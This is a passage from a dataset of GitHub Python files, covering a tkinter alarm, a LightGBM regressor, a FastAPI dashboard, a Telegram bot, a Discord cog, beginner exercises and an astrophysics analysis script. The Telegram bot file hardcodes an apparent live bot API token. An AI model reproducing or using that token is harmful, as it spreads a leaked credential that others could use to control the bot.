text=\"ALARMA\",font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelTITULO.place(x=120,y=10)\r\n\r\n\r\nLabelHORA=Label(ventanaprincipal,text=\"Hora\",font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelHORA.place(x=20,y=100)\r\n\r\nentryhoras=StringVar()\r\nentradahoras=Entry(ventanaprincipal,font=(\"roboto\",12),textvariable=entryhoras).place(x=140,y=110)\r\nLabelHORA=Label(ventanaprincipal,text=\"Minuto\",font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelHORA.place(x=20,y=200)\r\n\r\nEntryMinutos=StringVar()\r\nEntradaMinutos=Entry(ventanaprincipal,font=(\"roboto\",12),textvariable=EntryMinutos).place(x=140,y=210)\r\nLabelreloj=Label(ventanaprincipal,font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelreloj.place(x=120,y=50)\r\nButtonSetAlarma=Button(ventanaprincipal,font=(\"roboto\",12,\"bold\"),text=\"Establecer Alarma\",command=alarmapotente).place(x=10,y=280)\r\n\r\nButtonMP3=Button(ventanaprincipal,font=(\"roboto\",12,\"bold\"),text=\"Seleccionar Musica\",command=mostrarmusica).place(x=180,y=280)\r\n\r\n\r\nclock()\r\nroot.mainloop()","repo_name":"Cruzme12/TRABAJOSS","sub_path":"tkinterEjercicios/alarma.py","file_name":"alarma.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72497955920","text":"import gc\nimport math\nimport multiprocessing\nimport tempfile\nfrom importlib.util import find_spec\nfrom os.path import join\nfrom typing import Optional\n\nimport lightgbm\nimport numpy\nfrom lightgbm import Booster, record_evaluation\n\nfrom aydin.regression.base import RegressorBase\nfrom aydin.regression.gbm_utils.callbacks import early_stopping\nfrom aydin.util.log.log import lsection, lprint\n\n\nclass LGBMRegressor(RegressorBase):\n    \"\"\"\n    The LightGBM Regressor uses the gradient boosting library <a\n    href=\"https://github.com/microsoft/LightGBM\">LightGBM</a> to perform\n    regression from a set of feature vectors and target values. LightGBM is a\n    solid library but we do yet support GPU training and inference. Because\n    of lack of GPU support LightGBM is slower than CatBoost, sometimes\n    LightGBM gives better results than Catbboost, but not often enough to\n    justify the loss of speed.\n    \"\"\"\n\n    def __init__(\n        self,\n        num_leaves: Optional[int] = None,\n        max_num_estimators: Optional[int] = None,\n        max_bin: int = 512,\n        learning_rate: Optional[float] = None,\n        loss: str = 'l1',\n        patience: int = 5,\n        verbosity: int = -1,\n        compute_load: float = 0.95,\n        inference_mode: str = None,\n        compute_training_loss: bool = False,\n    ):\n        \"\"\"Constructs a LightGBM regressor.\n\n        Parameters\n        ----------\n        num_leaves\n            Number of leaves in the decision trees.\n            We recommend values between 128 and 512.\n            (advanced)\n\n        max_num_estimators\n            Maximum number of estimators (trees). Typical values range from 1024\n            to 4096. Use larger values for more difficult datasets. If training\n            stops exactly at these values that is a sign you need to increase this\n            number. Quality of the results typically increases with the number of\n            estimators, but so does computation time too.\n            We do not recommend using a value of more than 10000.\n\n        max_bin\n            Maximum number of allowed bins. The features are quantised into that\n            many bins. Higher values achieve better quantisation of features but\n            also leads to longer training and more memory consumption. We do not\n            recommend changing this parameter.\n            (advanced)\n\n        learning_rate\n            Learning rate for the catboost model. The learning rate is determined\n            automatically if the value None is given. We recommend values around 0.01.\n            (advanced)\n\n        loss\n            Type of loss to be used. Van be 'l1' for L1 loss (MAE), and 'l2' for\n            L2 loss (RMSE), 'huber' for Huber loss, 'poisson' for Poisson loss,\n            and 'quantile' for Auantile loss. We recommend using: 'l1'.\n            (advanced)\n\n        patience\n            Number of rounds after which training stops if no improvement occurs.\n            (advanced)\n\n        verbosity\n            Verbosity setting of LightGBM.\n            (advanced)\n\n        compute_load\n            Allowed load on computational resources in percentage, typically used\n            for CPU training when deciding on how many available cores to use.\n            (advanced)\n\n        inference_mode : str\n            Choses inference mode: can be 'lleaves' for the very fast lleaves\n            library (only OSX and Linux), 'lgbm' for the standard lightGBM\n            inference engine, and 'auto' (or None) tries the best/fastest\n            options first and fallback to lightGBM default inference.\n            (advanced)\n\n        compute_training_loss : bool\n            Flag to tell LightGBM whether to compute training loss or not\n            (advanced)\n\n        \"\"\"\n        super().__init__()\n\n        self.force_verbose_eval = False\n\n        self.num_leaves = 512 if num_leaves is None else num_leaves\n        self.max_num_estimators = (\n            int(1e4) if max_num_estimators is None else max_num_estimators\n        )\n        self.max_bin = max_bin\n        self.learning_rate = 0.01 if learning_rate is None else learning_rate\n        self.metric = loss\n        self.early_stopping_rounds = patience\n        self.verbosity = verbosity\n        self.compute_load = compute_load\n        self.inference_mode = 'auto' if inference_mode is None else inference_mode\n        self.compute_training_loss = compute_training_loss  # This can be expensive\n\n        with lsection(\"LGBM Regressor\"):\n            lprint(f\"learning rate: {self.learning_rate}\")\n            lprint(f\"number of leaves: {self.num_leaves}\")\n            lprint(f\"max bin: {self.max_bin}\")\n            lprint(f\"n_estimators: {self.max_num_estimators}\")\n            lprint(f\"patience: {self.early_stopping_rounds}\")\n            lprint(f\"inference_mode: {self.inference_mode}\")\n\n    def __repr__(self):\n        return f\"<{self.__class__.__name__}, max_num_estimators={self.max_num_estimators}, lr={self.learning_rate}>\"\n\n    def _get_params(self, num_samples, dtype=numpy.float32):\n        # min_data_in_leaf = 20 + int(0.01 * (num_samples / self.num_leaves))\n\n        # Preparing objective:\n        objective = self.metric\n        if objective.lower() == 'l1':\n            objective = 'regression_l1'\n        elif objective.lower() == 'l2':\n            objective = 'regression_l2'\n        elif objective.lower() == 'huber':\n            objective = 'huber'\n        elif objective.lower() == 'poisson':\n            objective = 'poisson'\n        elif objective.lower() == 'quantile':\n            objective = 'quantile'\n        else:\n            objective = 'regression_l1'\n\n        lprint(f'objective: {self.num_leaves}')\n\n        # Setting max depth:\n        max_depth = max(3, int(int(math.log2(self.num_leaves))) - 1)\n        lprint(f'max_depth:  {max_depth}')\n\n        # Setting max bin:\n        max_bin = 256 if dtype == numpy.uint8 else self.max_bin\n        lprint(f'max_bin:    {max_bin}')\n\n        lprint(f'learning_rate:  {self.learning_rate}')\n        lprint(f'num_leaves: {self.num_leaves}')\n\n        params = {\n            \"device\": \"cpu\",\n            \"boosting_type\": \"gbdt\",\n            'objective': objective,\n            \"learning_rate\": self.learning_rate,\n            \"num_leaves\": self.num_leaves,\n            \"max_depth\": max_depth,\n            \"max_bin\": max_bin,\n            \"subsample_for_bin\": 200000,\n            \"num_threads\": max(1, int(self.compute_load * multiprocessing.cpu_count())),\n            \"metric\": self.metric.lower(),\n            'verbosity': -1,\n            \"bagging_freq\": 1,\n            \"bagging_fraction\": 0.8,\n            \"lambda_l1\": 0.01,\n            \"lambda_l2\": 0.01,\n        }\n\n        return params\n\n    def _fit(\n        self, x_train, y_train, x_valid=None, y_valid=None, regressor_callback=None\n    ):\n\n        with lsection(\"GBM regressor fitting:\"):\n\n            nb_data_points = y_train.shape[0]\n            self.num_features = x_train.shape[-1]\n            has_valid_dataset = x_valid is not None and y_valid is not None\n\n            lprint(f\"Number of data points: {nb_data_points}\")\n            if has_valid_dataset:\n                lprint(f\"Number of validation data points: {y_valid.shape[0]}\")\n            lprint(f\"Number of features per data point: {self.num_features}\")\n\n            train_dataset = lightgbm.Dataset(x_train, y_train)\n            valid_dataset = (\n                lightgbm.Dataset(x_valid, y_valid) if has_valid_dataset else None\n            )\n\n            self.__epoch_counter = 0\n\n            # We translate the it fgr callback into a lightGBM callback:\n            # This avoids propagating annoying 'evaluation_result_list[0][2]'\n            # throughout the codebase...\n            def lgbm_callback(env):\n                try:\n                    val_loss = env.evaluation_result_list[0][2]\n                except Exception as e:\n                    val_loss = 0\n                    lprint(\"Problem with getting loss from LightGBM 'env' in callback\")\n                    print(str(e))\n                if regressor_callback:\n                    regressor_callback(env.iteration, val_loss, env.model)\n                else:\n                    lprint(f\"Epoch {self.__epoch_counter}: Validation loss: {val_loss}\")\n                    self.__epoch_counter += 1\n\n            evals_result = {}\n\n            self.early_stopping_callback = early_stopping(\n                self, self.early_stopping_rounds\n            )\n\n            with lsection(\"GBM regressor fitting now:\"):\n                model = lightgbm.train(\n                    params=self._get_params(nb_data_points, dtype=x_train.dtype),\n                    init_model=None,\n                    train_set=train_dataset,\n                    valid_sets=[valid_dataset, train_dataset]\n                    if self.compute_training_loss\n                    else valid_dataset,\n                    early_stopping_rounds=None if has_valid_dataset else None,\n                    num_boost_round=self.max_num_estimators,\n                    callbacks=[\n                        lgbm_callback,\n                        self.early_stopping_callback,\n                        record_evaluation(evals_result),\n                    ]\n                    if has_valid_dataset\n                    else [lgbm_callback],\n                )\n                lprint(\"GBM fitting done.\")\n\n            del train_dataset\n            del valid_dataset\n\n            if has_valid_dataset:\n                self.last_valid_loss = evals_result['valid_0'][self.metric][-1]\n\n            if self.compute_training_loss:\n                loss_history = {\n                    'training': evals_result['training'][self.metric],\n                    'validation': evals_result['valid_0'][self.metric],\n                }\n            else:\n                loss_history = {'validation': evals_result['valid_0'][self.metric]}\n\n            gc.collect()\n            return _LGBMModel(model, self.inference_mode, loss_history)\n\n\nclass _LGBMModel:\n    def __init__(self, model, inference_mode, loss_history):\n        self.model: Booster = model\n        self.inference_mode = inference_mode\n        self.loss_history = loss_history\n\n    def _save_internals(self, path: str):\n        if self.model is not None:\n            lgbm_model_file = join(path, 'lgbm_model.txt')\n            self.model.save_model(lgbm_model_file)\n\n    def _load_internals(self, path: str):\n        lgbm_model_file = join(path, 'lgbm_model.txt')\n        self.model = Booster(model_file=lgbm_model_file)\n\n    # We exclude certain fields from saving:\n    def __getstate__(self):\n        state = self.__dict__.copy()\n        del state['model']\n        return state\n\n    def predict(self, x):\n        with lsection(\"GBM regressor prediction:\"):\n\n            lprint(f\"Number of data points             : {x.shape[0]}\")\n            lprint(f\"Number of features per data points: {x.shape[-1]}\")\n\n            # we decide here what 'auto' means:\n            if self.inference_mode == 'auto':\n                if x.shape[0] > 5e6:\n                    # Lleaves takes a long time to compile models, so only\n                    # interesting for very large inferences!\n                    self.inference_mode = 'lleaves'\n                else:\n                    self.inference_mode = 'lgbm'\n\n            lprint(\"GBM regressor predicting now...\")\n            if self.inference_mode == 'lleaves' and find_spec('lleaves'):\n                try:\n                    return self._predict_lleaves(x)\n                except Exception:\n                    # printing stack trace\n                    # traceback.print_exc()\n                    lprint(\"Failed lleaves-based regression!\")\n\n            # This must work!\n            return self._predict_lgbm(x)\n\n    def _predict_lleaves(self, x):\n\n        with lsection(\"Attempting lleaves-based regression.\"):\n\n            # Creating lleaves model and compiling it:\n            with lsection(\"Model saving and compilation\"):\n                # Creating temporary file:\n                with tempfile.NamedTemporaryFile() as temp_file:\n\n                    # Saving LGBM model:\n                    self.model.save_model(\n                        temp_file.name, num_iteration=self.model.best_iteration\n                    )\n\n                    import lleaves\n\n                    llvm_model = lleaves.Model(model_file=temp_file.name)\n                    llvm_model.compile()\n\n            prediction = llvm_model.predict(x)\n\n        return prediction\n\n    def _predict_lgbm(self, x):\n        prediction = self.model.predict(x, num_iteration=self.model.best_iteration)\n        # LGBM is annoying, it spits out float64s\n        prediction = prediction.astype(numpy.float32, copy=False)\n        lprint(\"GBM regressor predicting done!\")\n        return prediction\n","repo_name":"royerlab/aydin","sub_path":"aydin/regression/lgbm.py","file_name":"lgbm.py","file_ext":"py","file_size_in_byte":12786,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"3"}
+{"seq_id":"34844762400","text":"from fastapi.templating import Jinja2Templates\nfrom pydantic import BaseModel\nfrom frontend.database_sessions import SessionLocal\nfrom fastapi import FastAPI, Request, Depends, BackgroundTasks\nfrom sqlalchemy.orm import Session\nfrom database.db_models import Stocks\nfrom fastapi import APIRouter, HTTPException\ntemplates = Jinja2Templates(directory=\"template\")\n\nrouter = APIRouter()\n\nclass StocksRequest(BaseModel):\n    symbol: str\n\n\ndef get_db():\n    db = SessionLocal()\n    try:\n        yield db\n    finally:\n        db.close()\n\n\n@router.get(\"/dashboard\")\nasync def dashboard(request: Request, forward_pe=None, dividend_yield=None, ma50=None, ma200=None,\n                    db: Session = Depends(get_db)):\n    print(\"\\n\\n\\n\\n\\n\\n\\n\\n shit \\n\\n\\n\\n\\n\\n\\n\\n\")\n    stocks_fetched = db.query(Stocks)\n    # stocks_fetched = db.query(Stocks).all()\n\n    # if (forward_pe is not None) and forward_pe != '' :\n    if forward_pe:\n        stocks_fetched = stocks_fetched.filter(Stocks.forward_pe < forward_pe)\n        print(forward_pe)\n    if dividend_yield:\n        stocks_fetched = stocks_fetched.filter(Stocks.dividend_yield > dividend_yield)\n    if ma50:\n        stocks_fetched = stocks_fetched.filter(Stocks.price > Stocks.ma50)\n    if ma200:\n        stocks_fetched = stocks_fetched.filter(Stocks.price > Stocks.ma200)\n    print(stocks_fetched)\n    return templates.TemplateResponse(\"dashboard.html\",\n                                      {\"request\": request,\n                                       \"stocks\": stocks_fetched,\n                                       \"divident_yield\": dividend_yield,\n                                       \"forward_pe\": forward_pe,\n                                       \"ma50\": ma50,\n                                       \"ma200\": ma200\n                                       })\n\n\n\n@router.post(\"/stock\")\nasync def create_stock(stock_request: StocksRequest, background_tasks: BackgroundTasks,\n                       db: Session = Depends(get_db)):\n    \"\"\"\n    add one or more tickers to the database\n    background task to use yfinance and load key statistics\n    \"\"\"\n\n    stock = Stocks()\n    # print(\"stock request is\", stock_request)\n    stock.symbol = stock_request.symbol\n    db.add(stock)\n    db.commit()\n\n    background_tasks.add_task(dbh.fetch_stock_data_form_yfinance, stock.id)\n\n    return {\n        \"code\": \"success\",\n        \"message\": f\"stock {stock.symbol} was added to the database\"\n    }\n","repo_name":"webclinic017/analyticsoptim","sub_path":"frontend/router/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"20045116772","text":"# -*- coding:utf-8 -*-\n\nfrom config import HOST\nfrom common import get_md5\nimport re\n\ndef parse_json(info):\n    \"\"\"解析JSON\"\"\"\n    data = dict()\n    detail_url = 'http://{host}.meituan.com/meishi/{id}/'.format(host=HOST[-1], id=info['poiId'])\n    data['id'] = get_md5(detail_url)\n    data['detail'] = detail_url\n    data['title'] = info['title']\n\n    data['avgprice'] = info['avgPrice']\n    data['avgscore'] = info['avgScore']\n    data['comments'] = info['allCommentNum']\n    data['frontimg'] = info['frontImg']\n    data['address'] = info['address']\n    return data\n\ndef parse_detail_page(response):\n    \"\"\"解析详情页\"\"\"\n    data = dict()\n    data['phone'] = re.findall('\"phone\":\"(.*?)\"', response.text, re.S)[0]\n    data['opentime'] = re.findall('\"openTime\":\"(.*?)\"', response.text, re.S)[0]\n    data['tags'] = '|'.join(re.findall('\"text\":\"(.*?)\"', response.text, re.S))\n    return data","repo_name":"Northxw/Meituan","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"3"}
+{"seq_id":"3887066708","text":"from __future__ import print_function\nfrom concurrent import futures\nimport asyncio\nimport asynchio_pb2\nimport asynchio_pb2_grpc\nimport grpc\n\n\nclass Server(asynchio_pb2_grpc.AlertServicer):\n    async def f1(self):\n        for i in range(10):\n            print(\"f1 is running\")\n            await asyncio.sleep(0.2)  # Simulate some asynchronous work\n\n# Try indirect calling of the function as well, then try adding elements from asynchio_working.py\n\n    async def f2(self):\n        print(\"f2 is running\")\n        asyncio.create_task(self.f1())\n        return \"SUCCESS\"\n\n    def endTurn(self, request, context):\n        print(\"f2 is running\")\n        # await asyncio.sleep(1)  # Simulate some asynchronous work\n        print(\"f2 is done\")\n\n        # Call f1 inside f2 and let it run concurrently\n        asyncio.run(self.f2())\n\n        return asynchio_pb2.Confirmation(status_code=200)\n\n\ndef serve():\n    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n    asynchio_pb2_grpc.add_AlertServicer_to_server(Server(), server)\n    server.add_insecure_port(\"[::]:50050\")\n    server.start()\n    print(\"Server started listening on port 50050\")\n    server.wait_for_termination()\n\n\nasync def main():\n    # Perform an RPC to f2() in the server\n    with grpc.insecure_channel(\"localhost:50050\") as channel:\n        stub = asynchio_pb2_grpc.AlertStub(channel)\n        response = stub.endTurn(asynchio_pb2.Status(isAlive=True))\n\n    # Continue with other tasks or code after f2 has finished\n    print(\"Status of endTurn():\" + str(response.status_code))\n\n\nif __name__ == \"__main__\":\n    serve()\n","repo_name":"coscotuff/Airstrike_RPC","sub_path":"trials/asynchio_trials/asyncRPC_server.py","file_name":"asyncRPC_server.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40824204530","text":"# Manuel Lameira\n# DTH 22 readings using MicroPython\n\n# DTH22 --> ESP32\n# GND   --> GND\n# VCC   --> 5v or 3.3v\n# DAT   --> D14\n\nfrom machine import Pin, I2C\nfrom time import sleep\nimport dht\nimport ssd1306\n\nsensor = dht.DHT22(Pin(14))\n#sensor = dht.DHT11(Pin(14))\n\n# ESP32 Pin assignment \ni2c = I2C(-1, scl=Pin(4), sda=Pin(5)) # 5=SDK/SDA  4=SCK/SCL  As per labeling on ESP32 DevKi\n\n# Define the OLED width and height\noled_width = 128\noled_height = 64\noled = ssd1306.SSD1306_I2C(oled_width, oled_height, i2c)\n\n\nwhile True:\n  try:\n    \n    oled.fill(0)\n    # The DHT22 need 2s to get the readings  \n    sleep(2)\n    sensor.measure()\n    temp = sensor.temperature()\n    temp_conv = str('%3.1f C' %temp)\n    hum = sensor.humidity()\n    hum_conv = str('%3.1f %%' %hum)\n   \n    \n    oled.text('Temperature: ', 0, 0)\n    oled.text( temp_conv, 0, 10)\n    #oled.text( temp_f_conv, 0, 20)\n    oled.text('Humidity: ', 0, 30)\n    oled.text( hum_conv, 0, 40)\n    \n    oled.show()\n        \n    \n  except OSError as e:\n    #print('Failed to read sensor.')\n    oled.fill(0)    \n    oled.text('Failed to read sensor!', 0, 20)\n    oled.show()\n\n","repo_name":"Qu3d45/MicroPython_ESP32","sub_path":"esp32_OLED_DTH22/dht22_OLED.py","file_name":"dht22_OLED.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"14804985846","text":"import time\nimport random\nimport datetime\nimport telepot\n\n\"\"\"\nAfter **inserting token** in the source code, run it:\n```\nThis simple bot does nothing\nbut accepts two commands:\n- `/roll` - reply with a random integer between 1 and 6, like rolling a dice.\n- `/time` - reply with the current time, like a clock.\n\"\"\"\n\ndef handle(msg):\n    chat_id = msg['chat']['id']\n    command = msg['text']\n\n    print ('Got command: %s' % command)\n\n    if command == '/roll':\n        bot.sendMessage(chat_id, random.randint(1,6))\n    elif command == '/time':\n        bot.sendMessage(chat_id, str(datetime.datetime.now()))\n    elif command == '/question':\n    \tbot.sendMessage(chat_id)    \n\nbot = telepot.Bot('275495631:AAGBwM9jBjK571E1FAQPttGf-pJRLhonXh0')\nbot.message_loop(handle)\nprint ('I am listening ...')\n\nwhile 1:\n\ttime.sleep(10)","repo_name":"tanvi-surana/telegram-bot","sub_path":"tanvi_bot.py","file_name":"tanvi_bot.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70208054481","text":"# https://www.beecrowd.com.br/judge/pt/custom-problems/view/1760\nsomaIdade = 0\npessoas90 = 0\np = 0\n\nwhile p < 4:\n    idade = int(input())\n    peso = float(input())\n    somaIdade += idade\n    if(peso > 90):\n        pessoas90 += 1\n    p += 1\n    \nprint(\"Qtd pessoas > 90 Kg: %i\" % (pessoas90))\nprint(\"Idade média: %.2f \" % (somaIdade/4))\n    ","repo_name":"lcs2777/Algoritmos-e-Programa-o","sub_path":"Lista de exercícios 4/1760.py","file_name":"1760.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21533106322","text":"# exersice 1)\na = 3\nb = 15\n\n\ndef gcd(a, b):\n    \"\"\"\n    :param a:\n        int\n    :param b:\n        int\n    :return:\n        the greatest common divisor among a and b\n    \"\"\"\n    if a == b == 0:\n        return 0\n    elif b == 0:\n        return abs(a)\n    elif a == 0:\n        return abs(b)\n    else:\n        return gcd(b, a % b)\n\n\ngreatestCommonDivisor = gcd(a, b)\n\n\ndef lcm(a, b):\n    \"\"\"\n    :param a:\n        int\n    :param b:\n        int\n    :return:\n        the lowest common multiple of a and b\n    \"\"\"\n    if b == 0:\n        return a\n    elif a == 0:\n        return b\n    else:\n        return (a / gcd(a, b)) * b\n\n\nleastCommonMultiple = lcm(a, b)\nprint(greatestCommonDivisor, leastCommonMultiple)\n","repo_name":"Mario-bgt/MAT_101_Programming","sub_path":"sheet2_mario_baumgartner/ex02.1.py","file_name":"ex02.1.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43825413393","text":"import discord\nfrom discord.ext import commands\nimport pymongo\nfrom pymongo import MongoClient\nimport random\nfrom random import randint\n\ncolor = 0xa100f2\nguild = 757098499836739594\nbattle = (\"put battle chnl id here\")\n\nclass vein11(commands.Cog, name='battle'):\n    def __init__(self, Bot):\n        self.Bot= Bot\n\n\n    @commands.command(aliases=['battle'])\n    @commands.guild_only()\n    async def challenge(self, ctx, member: discord.Member):\n        if ctx.guild.id != (guild):\n            return await ctx.send('Main server only ;)')\n        if ctx.channel.id != (757941959796195484):\n            return\n        if member.id == ctx.author.id:\n            msg = ctx.message\n            await msg.add_reaction('<:WeirdChamp:757112297096216627>')\n            return\n        if member.bot:\n            return\n        author_id = str(ctx.message.author.id)\n        member_id = str(member.id)\n\n        db = self.Bot.cluster1['AbodeDB']\n        collection= db['Levels']\n        hm1 = {\"_id\" : author_id}\n        hm2 = {\"_id\" : member_id}\n        author_db = collection.find(hm1)\n        member_db = collection.find(hm2)\n        if (collection.find_one({\"_id\": member_id})== None):\n            await ctx.send(f'{member.name} is not on the database.')\n        def check(reaction,user):\n                return user.id == member.id and user.id != 759784064361299989\n\n\n        msg = await ctx.send(f\"{member.name} {ctx.author.mention} wants to challenge you to a duel. React with <:check:773959361953267742> to accept the battle or react with <:xmark:773959363379462184> to deny the challenge.\")\n        await msg.add_reaction('<:check:773959361953267742>')\n        await msg.add_reaction('<:xmark:773959363379462184>')\n\n\n        reaction, user= await self.Bot.wait_for(\"reaction_add\",timeout=30, check=check)\n\n\n\n        if str(reaction.emoji) == '<:xmark:773959363379462184>':\n            return await ctx.send(f'{member.name} rejected the battle.')\n        elif str(reaction.emoji) == '<:check:773959361953267742>':\n            await msg.delete()\n            await ctx.send(f'Duel accepted.')\n\n        for lvl1 in author_db:\n                stre = lvl1['Strength']\n                sped = lvl1['Speed']\n                defen = lvl1['Defense']\n                sol = lvl1['Soul']\n                health = lvl1['Health']\n                luk = lvl1['Luck']\n                qi = lvl1['Qi']\n                pth= lvl1['Path']\n                nme = lvl1['Name']\n        for lvl in member_db:\n                stre1 = lvl['Strength']\n                sped2 = lvl['Speed']\n                defen3 = lvl['Defense']\n                sol4 = lvl['Soul']\n                health5 = lvl['Health']\n                luk6 = lvl['Luck']\n                qi7 = lvl['Qi']\n                pth8= lvl['Path']\n                nme9= lvl['Name']\n        smthin = random.randint(1,5)\n        new_total_user = (stre + sped + defen + sol + health + (qi*2) + (luk *smthin))\n        new_total_member = (stre1 + sped2 + defen3 + sol4 + health5 + (qi7*2) + (luk6 *smthin))\n\n        print (new_total_user)\n        print(new_total_member)\n\n\n        await ctx.send(new_total_member)\n\n\n\n\n\n\n\n\ndef setup (Bot):\n    Bot.add_cog(vein11(Bot))\n    print(\"Battle cog is working.\")\n","repo_name":"Vein05/Abode","sub_path":"cogs/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"38053698210","text":"import random\nimport string\n\n# Gera um numero inteiro entre A e B\n# inteiro = random.randint(1, 100)\n\n# Gera um numero aleatorio usando a funcao range()\ninteiro = random.randrange(900, 1000, 10)\n\n# Gera um numero tipo float entre A e B\n# flutuante = random.uniform(10, 20)\n\n# Gera um numero de ponto flutuante entre  0 e 1\nflutuante = random.random()\n\n# Sorteia 2 nomes aleatorio de forma nao repetida\nlista = ['Antonio', 'Allyson', 'Sammy', 'Hugo', 'Luca', 'Felps']\nfor i in range(10):\n    sorteio = random.sample(lista, 2)\n    print(sorteio)\n\n\n# Gera uma senha aleatoria\nletras = string.ascii_letters\ndigitos = string.digits\ncaracteres = \"!@#$%&*\"\ngeral = letras + digitos + caracteres\nsenha = \"\".join(random.choices(geral, k=20))\n\nprint(senha)\n","repo_name":"Naptoss/Modulo-05","sub_path":"Random/rd.py","file_name":"rd.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40732088167","text":"import random\n\nclass Pirate:\n    technique = 0\n\n    def __init__( self , name ):\n        self.name = name\n        self.strength = 15\n        self.speed = 3\n        self.health = 100\n\n    def show_stats( self ):\n        print(f\"Name: {self.name}\\nStrength: {self.strength}\\nSpeed: {self.speed}\\nHealth: {self.health}\\n\")\n\n    def attack ( self , ninja ):\n        if self.can_fight(self.strength):\n            ninja.health -= self.strength\n            ninja.strength -= 3\n            print('Pirate Attack!')\n        else:\n            print(f'{self.name} can\\'t fight anymore!')\n        return self\n    \n    def hook_hand(self, ninja):\n        if self.can_fight(self.strength):\n            ninja.health -= 5\n            ninja.strength -= 1\n            print('Hook Hand Attack!')\n        else:\n            print(f'{self.name} can\\'t fight anymore!')\n        return self\n    \n    def cannonball(self, ninja):\n        if self.can_fight(self.strength):\n            ninja.health -= 15\n            ninja.strength -= 2\n            print('Cannon Ball Fire!')\n        else:\n            print(f'{self.name} can\\'t fight anymore!')\n        return self\n    \n    @classmethod\n    def determine_technique(cls):\n        cls.technique = random.randint(1,3)\n        return cls.technique\n    \n    @staticmethod\n    def can_fight(strength):\n        if strength > 0:\n            return True\n        else:\n            return False\n\nclass Corsair(Pirate):\n    def __init__(self, name):\n        super().__init__(name)\n        self.strength = 20\n        self.speed = 5\n        self.health = 100\n    \n    def attack(self, ninja):\n        print(f'Using special technique: Devil Fruit Attack!!!')\n        super().attack(ninja)","repo_name":"jazdal/coding-dojo-python-stack","sub_path":"python/fundamentals/oop/oop_hackathon/ninjas_vs_pirates/classes/pirate.py","file_name":"pirate.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25282565517","text":"n=int(input(\"Enter number of terms \"))\nn1=0\nn2=1\ncount=0\nif n==1:\n    print(\"The series is:\",n1)\nelse:\n    print(\"Fibonacci sequence: \")\n    while count<n:\n        print(n1)\n        s=n1+n2\n        n1=n2\n        n2=s\n        count+=1\n","repo_name":"Shibani07/python","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12662376636","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl  \nfrom scipy.optimize import curve_fit\nfrom scipy.signal import butter, filtfilt, find_peaks\nfrom matplotlib.pyplot import cm\nimport ephem\nimport scipy.special as scp\nimport sys\n\nimport utilities as uti\nimport corrections as cor\n\n#####################################################################################################################\n## First analysis: take Shaula data and divide cross and auto correlation data in 2 bunches of equal measurement time\n## to check for systematics in the g2 functions\n#####################################################################################################################\nstar = sys.argv[1]\nprint(\"1. Peak part Analysis of {}\".format(star))\n\n# Read in the data (g2 functions and time/baseline parameters)\nchAs  = np.loadtxt(\"g2_functions/{}/ChA.txt\".format(star))\nchBs  = np.loadtxt(\"g2_functions/{}/ChB.txt\".format(star))\nct3s  = np.loadtxt(\"g2_functions/{}/CT3_clean.txt\".format(star))\nct4s  = np.loadtxt(\"g2_functions/{}/CT4_clean.txt\".format(star))\ndata  = np.loadtxt(\"g2_functions/{}/baseline.txt\".format(star))\n\n# Demo function for initializing x axis and some stuff\ndemo = chAs[0]\nx = np.arange(-1.6*len(demo)//2,+1.6*len(demo)//2,1.6)\n\n# There are 12 chunks of Shaula data, so divide both the cross and the auto-correlations in 2x6 to check for systematics\ncrossA_0 = np.zeros(len(x)); crossA_1 = np.zeros(len(x))\ncrossB_0 = np.zeros(len(x)); crossB_1 = np.zeros(len(x))\nauto3_0  = np.zeros(len(x)); auto3_1  = np.zeros(len(x))\nauto4_0  = np.zeros(len(x)); auto4_1  = np.zeros(len(x))\nfor i in range (0,6):\n    crossA_0 += chAs[i]/np.std(chAs[i][0:4500])\n    crossB_0 += chBs[i]/np.std(chBs[i][0:4500])\n    auto3_0  += ct3s[i]/np.std(ct3s[i][0:4500])\n    auto4_0  += ct4s[i]/np.std(ct4s[i][0:4500])\nfor i in range (6,12):\n    crossA_1 += chAs[i]/np.std(chAs[i][0:4500])\n    crossB_1 += chBs[i]/np.std(chBs[i][0:4500])\n    auto3_1  += 